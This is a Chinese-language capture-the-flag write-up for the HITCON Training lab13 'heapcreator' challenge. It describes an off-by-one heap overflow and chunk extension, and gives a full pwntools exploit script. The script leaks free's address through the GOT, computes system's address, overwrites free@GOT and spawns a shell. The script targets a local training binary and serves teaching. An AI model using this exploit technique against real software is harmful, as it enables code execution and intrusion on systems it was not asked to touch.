HITCON TRAINING LAB13
ps:这题不用他提供的libc.6.so也能做,用LibcSearcher找就行了。
是堆的一个off by one漏洞和chunk extend,参考网上wp。这里主要记录一下自己的领悟和一些细节。
首先该程序功能有4:创建堆,编辑堆,删除堆,展示堆
1.创建堆
先malloc(0x10),8个字节存放内容长度,8个字节存放内容地址。
然后又会malloc(size),并且存进输入的内容。
2.编辑堆
可以发现向内容中多写了一个字节,所以存在off by one漏洞。
所以我们申请一个0x18字节的堆,那么就能覆盖下一个chunk的size了。
然后我们利用chunk extend就可以达到目的了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220
|
from pwn import * from LibcSearcher import *
p=process('./heapcreator')
elf=ELF('./heapcreator')
libso=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size,content):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('Heap :')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content)
def edit(index,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('heap :')
p.sendline(content)
def delete(index):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
create(24,'1111')
create(16,'2222')
create(16,'3333')
create(16,'/bin/sh\x00')
edit(0,'1'*24+'\x81')
delete(1)
create(int(0x70),'2'*0x40+p64(8)+p64(elf.got['free']))
print hex(elf.got['free'])
show(2)
real_free_addr=u64(p.recvuntil('Done')[-11:-5].ljust(8,'\x00'))
libc=LibcSearcher('free',real_free_addr)
real_sys_addr=real_free_addr+libc.dump('system')-libc.dump('free') print real_sys_addr
success('system address is'+str(hex(real_sys_addr)))
success('free address is'+str(hex(real_free_addr)))
edit(2,p64(real_sys_addr))
show(2)
print('ok')
delete(3)
p.interactive()
|
总结和踩坑
再总结一下思路:
1.利用off by one漏洞改变1号chunk的size
2.利用chunk extend控制2号chunk内容,把其内容指针指向got表里的free,以此获得free的实际地址
3.利用libc中free和system的偏移+free的实际地址计算出system的实际地址,并且利用edit功能改写got表。
4.当got表free的实际地址指向system,我们只需要调用delete功能就能成功hack啦~
踩坑:
一开始得到free的实际地址时,多接收了一个字节。。。。debug了好久